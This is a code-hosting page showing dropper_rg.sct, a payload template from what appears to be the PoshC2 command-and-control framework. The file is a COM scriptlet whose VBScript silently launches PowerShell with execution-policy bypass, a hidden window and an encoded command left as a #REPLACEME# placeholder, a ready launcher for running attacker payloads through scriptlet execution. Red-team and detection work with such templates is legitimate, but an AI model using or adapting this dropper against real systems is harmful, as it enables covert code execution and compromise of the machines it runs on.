Codebase list poshc2 / 06a953b resources / payload-templates / dropper_rg.sct
06a953b

Tree @06a953b (Download .tar.gz)

dropper_rg.sct @06a953braw · history · blame

<?XML version="1.0"?>
<scriptlet>

<registration
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >

<script language="VBScript">
Dim ghgfhgfh
set ghgfhgfh = CreateObject("shell.application")
ghgfhgfh.ShellExecute "powershell.exe", " -exec bypass -Noninteractive -windowstyle hidden -e #REPLACEME#", "", "open", 0
</script>

</registration>
</scriptlet>